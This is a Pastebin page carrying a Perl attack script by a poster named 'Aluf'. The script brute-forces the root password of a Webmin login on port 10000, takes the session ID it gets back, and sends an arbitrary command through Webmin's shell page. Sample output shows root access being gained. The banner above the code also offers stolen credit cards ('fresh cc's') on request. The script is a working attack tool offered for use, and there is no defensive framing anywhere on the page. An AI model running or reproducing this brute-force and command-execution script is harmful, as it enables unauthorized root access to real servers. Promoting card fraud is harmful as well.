Advertisement
Aluf

Webmin BruteForce and Command Execution-Aluf

Feb 1st, 2015
561
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.62 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ##
  3. # Webmin BruteForce + Command execution - By Aluf
  4. ########################################################################
  5. ########################################################################
  6. ####                     Posts  © Aluf                              ####
  7. ####               http://Aluf.chatango.com                         ####
  8. ####                                                                ####
  9.   _____  .__          _____                                         ####
  10.   /  _  \ |  |  __ ___/ ____\                                       ####
  11.  /  /_\  \|  | |  |  \   __\                                        ####
  12. /    |    \  |_|  |  /|  |                                          ####
  13. \____|__  /____/____/ |__|     © Aluf-[www.pastebing.tk]            ####
  14.         \/                                                          ####
  15. ####   Message me anytime for any doubts .CC's i post might not     ####
  16. ####   be working  everytime,so message me for fresh cc's  .        ####
  17. ####   Website :   www.pastebing.tk                                 ####
  18. ####   If you need suggestion for the pastebin bots of chatango     ####
  19. ####   message me,lol i have run all the bots here myself,so        ####
  20. ####   i guess ,i know which is the worst and best   .              ####
  21. ####   Do not ask for my bot code on pm ,i quit years back .        ####
  22. ####   If you have doubts regarding other codes on my pastebin      ####
  23. ####   Still message me on Aluf or tyt or 93. [93 FOR COMPLAINS]    ####
  24. ####   I Have been getting a lot of messages lately for cc's        ####
  25. ####   and the worst part is many want to know to hack cc           ####
  26. ####   I cannot help you with that ,you have to find a way yourself ####
  27. ####   but ofc you can always ask for cc's but don't ask me how to  ####
  28.  ____  _     _     _____                                            ####
  29. /  _ \/ \   / \ /\/    /                                            ####
  30. | / \|| |   | | |||  __\                                            ####
  31. | |-||| |_/\| \_/|| |                                               ####
  32. \_/ \|\____/\____/\_/   ©   PMR [ Add me before messaging ]         ####
  33. ########################################################################
  34. #
  35. # usage
  36. # ./bruteforce.webmin.pl <host> <command>
  37. #
  38. #./bruteforce.webmin.pl 192.168.0.5 "uptime"
  39. # [+] BruteForcing...
  40. # [+] trying to enter with: admim
  41. # [+] trying to enter with: admin
  42. # [+] Found SID : f3231ff32849fa0c8c98487ba8c09dbb
  43. # [+] Password : admin
  44. # [+] Connecting to host once again
  45. # [+] Connected.. Sending Buffer
  46. # [+] Buffer sent...running command uptime
  47. # root logged into Webmin 1.170 on linux (SuSE Linux 9.1)
  48. # 10:55pm up 23 days 9:03, 1 user, load average: 0.20, 0.05, 0.01
  49.  
  50. use IO::Socket;
  51. if (@ARGV<2){ print "Webmin BruteForcer\nusage:\n$0 <host> <command>\n"; exit; }
  52. my $host=$ARGV[0];
  53. my $cmd=$ARGV[1];
  54. #start pass:
  55. my $pass="a";
  56. my $chk=0;
  57. my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000")
  58. || die "[-] Webmin on this host does not exist\r\n";
  59. $sock->close;
  60. print "[+] BruteForcing...\n";
  61. my $sid;
  62. while ($chk!=1) {
  63. $pass++;
  64. my $pass_line="page=%2F&user=root&pass=$pass";
  65. my $buffer="POST /session_login.cgi HTTP/1.0\n".
  66. "Host: $host:10000\n".
  67. "Keep-Alive: 300\n".
  68. "Connection: keep-alive\n".
  69. "Referer: http://$host:10000/\n".
  70. "Cookie: testing=1\n".
  71. "Content-Type: application/x-www-form-urlencoded\n".
  72. "Content-Length: __\n".
  73. "\n".
  74. $pass_line."\n\n";
  75. my $line_size=length($pass_line);
  76. $buffer=~s/__/$line_size/g;
  77. my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000");
  78. if ($sock)
  79. {
  80. print "[+] trying to enter with: $pass\n";
  81. print $sock $buffer;
  82. while ($answer=<$sock>)
  83. {
  84. if ($answer=~/sid=(.*);/g)
  85. {
  86. $chk=1;
  87. $sid=$1;
  88. print "[+] Found SID : $sid\n";
  89. print "[+] Password : $pass\n";
  90. }
  91. }
  92. }
  93. $sock->close;
  94. }
  95. print "[+] Connecting to host once again\n";
  96. $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "10000") ||
  97. die "[-] Cant Connect once again for command execution\n";
  98. print "[+] Connected.. Sending Buffer\n";
  99. my $temp="-----------------------------19777347561180971495777867604\n".
  100. "Content-Disposition: form-data; name=\"cmd\"\n".
  101. "\n".
  102. "$cmd\n".
  103. "-----------------------------19777347561180971495777867604\n".
  104. "Content-Disposition: form-data; name=\"pwd\"\n".
  105. "\n".
  106. "/root\n".
  107. "-----------------------------19777347561180971495777867604\n".
  108. "Content-Disposition: form-data; name=\"history\"\n".
  109. "\n".
  110. "\n".
  111. "-----------------------------19777347561180971495777867604\n".
  112. "Content-Disposition: form-data; name=\"previous\"\n".
  113. "\n".
  114. "$cmd\n".
  115. "-----------------------------19777347561180971495777867604\n".
  116. "Content-Disposition: form-data; name=\"pcmd\"\n".
  117. "\n".
  118. "$cmd\n".
  119. "-----------------------------19777347561180971495777867604--\n\n";
  120. my $buffer_size=length($temp);
  121. $buffer="POST /shell/index.cgi HTTP/1.1\n".
  122. "Host: $host:10000\n".
  123. "Keep-Alive: 300\n".
  124. "Connection: keep-alive\n".
  125. "Referer: http://$host:10000/shell/\n".
  126. "Cookie: sid=$sid\; testing=1; x\n".
  127. "Content-Type: multipart/form-data; boundary=---------------------------19777347561180971495777867604\n".
  128. "Content-Length: siz\n".
  129. "\n".
  130. $temp;
  131. $buffer=~s/siz/$buffer_size/g;
  132. print $sock $buffer;
  133.  
  134. if ($sock)
  135. {
  136. print "[+] Buffer sent...running command $cmd\n";
  137. print $sock $buffer;
  138.  
  139. while ($answer=<$sock>)
  140. {
  141. #print $answer;
  142. if ($answer=~/defaultStatus="(.*)";/g) { print $1."\n";}
  143. if ($answer=~/<td><pre><b>&gt;/g)
  144. {
  145. $cmd_chk=1;
  146. }
  147. if ($cmd_chk==1)
  148. {
  149. if ($answer=~/<\/pre><\/td><\/tr>/g)
  150. {
  151. exit;
  152. } else { print $answer; }
  153. }
  154. }
  155. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement